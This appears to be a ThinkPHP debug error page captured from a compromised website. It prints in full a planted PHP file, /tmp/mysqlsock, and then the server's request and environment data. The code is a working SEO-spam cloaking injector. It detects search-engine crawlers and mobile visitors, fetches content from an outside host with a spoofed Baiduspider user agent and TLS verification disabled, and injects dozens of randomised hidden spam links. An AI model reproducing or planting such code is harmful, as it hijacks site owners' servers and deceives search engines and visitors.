[64] ErrorException in mysqlsock line 1

Cannot redeclare httpGetlai() (previously declared in /tmp/mysqlsock:1)

  1. <?php set_time_limit(0);error_reporting(0);$a="stristr";$b=$_SERVER;function httpGetlai($c){$d=curl_init();curl_setopt($d,CURLOPT_URL,$c);curl_setopt($d,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');curl_setopt($d,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($d,CURLOPT_SSL_VERIFYHOST,FALSE);curl_setopt($d,CURLOPT_RETURNTRANSFER,1);curl_setopt($d,CURLOPT_HEADER,0);$e=curl_exec($d);curl_close($d);return $e;}define('url',$b['REQUEST_URI']);define('ref',!isset($b['HTTP_REFERER'])?'':$b['HTTP_REFERER']);define('ent',$b['HTTP_USER_AGENT']);define('site', "http://sgj.fre09.com/");define('road', "?road=".$b['HTTP_HOST'].url);define('memes',road."&referer=".urlencode(ref));define('regs','@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');define('mobile','/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');define('area', $a(url,"ben/") or $a(url,".xml")or $a(url,".doc")or $a(url,".pdf")or $a(url,".txt")or $a(url,".ppt")or $a(url,".pptx")or $a(url,".tacc")or $a(url,".jsp")or $a(url,".asp")or $a(url,".ga")or $a(url,".gq")or $a(url,".pdx")or $a(url,".xlsx")or $a(url,".edu")or $a(url,".gov")or $a(url,"baike")or $a(url,".xls")or $a(url,".htx")or $a(url,".htt")or $a(url,".xhtml")or $a(url,".new")or $a(url,".do")or $a(url,".action")or $a(url,".frx")or $a(url,".csv")or $a(url,".docx")or $a(url,".xhtml")or $a(url,".shtml") );if(preg_match(regs,ent)){if(area){echo httpGetlai(site.road);exit;}else{function randCode($length, $type) {$arr = array(1 => "abcdefghijklmnopqrstuvwxyz", 2 => "0123456789"); if($type == 0) { array_pop($arr); $string = implode("", $arr); }elseif($type == "-1") { $string = implode("", $arr); }else{ $string = $arr[$type]; } $count = strlen($string) - 1; for($i = 0; $i < $length; $i++) { $str[$i] = $string[rand(0, $count)]; $code .= $str[$i]; } return $code; }$hzl=[".xml",".doc",".pdf",".txt",".ppt",".tacc",".jsp",".asp",".ga",".gq",".pdx",".xlsx",".edu",".gov",".xls",".htx",".htt",".xhtml",".new",".do",".action",".frx",".csv",".docx",".xhtml",".shtml"];echo '<a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"></a><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"></a><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"></a><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . randCode(mt_rand(2,6), 0).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . randCode(mt_rand(2,6), 0).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .randCode(mt_rand(2,6), 0).$hzl[array_rand($hzl)].'"><a href="/ben/' . date("Ymd") .rand(10000,99999999).'">';}}if(area&&preg_match(mobile,ent)){echo httpGetlai(site.road);exit;}?>

Call Stack

  1. in mysqlsock line 1
  2. at Error::appShutdown()

Environment Variables

GET Data
s /show/154.html
POST Dataempty
Filesempty
Cookiesempty
Sessionempty
Server/Request Data
USER www
HOME /home/www
HTTP_USER_AGENT claudebot
HTTP_ACCEPT */*
HTTP_HOST gdjhsj.com
PATH_INFO
REDIRECT_STATUS 200
SERVER_NAME www.gdjhsj.com
SERVER_PORT 443
SERVER_ADDR 172.23.184.63
REMOTE_PORT 2643
REMOTE_ADDR 3.138.34.158
SERVER_SOFTWARE nginx/1.22.1
GATEWAY_INTERFACE CGI/1.1
HTTPS on
REQUEST_SCHEME https
SERVER_PROTOCOL HTTP/2.0
DOCUMENT_ROOT /www/wwwroot/www.gdjhsj.com
DOCUMENT_URI /index.php
REQUEST_URI /show/154.html
SCRIPT_NAME /index.php
CONTENT_LENGTH
CONTENT_TYPE
REQUEST_METHOD GET
QUERY_STRING s=/show/154.html
SCRIPT_FILENAME /www/wwwroot/www.gdjhsj.com/index.php
FCGI_ROLE RESPONDER
PHP_SELF /index.php
REQUEST_TIME_FLOAT 1713458836.4781
REQUEST_TIME 1713458836
Environment Variablesempty
ThinkPHP Constants
url /show/154.html
ref
ent claudebot
site http://sgj.fre09.com/
road ?road=gdjhsj.com/show/154.html
memes ?road=gdjhsj.com/show/154.html&referer=
regs @BaiduSpider|Sogou|Yisou|Haosou|360Spider@i
mobile /phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/
area false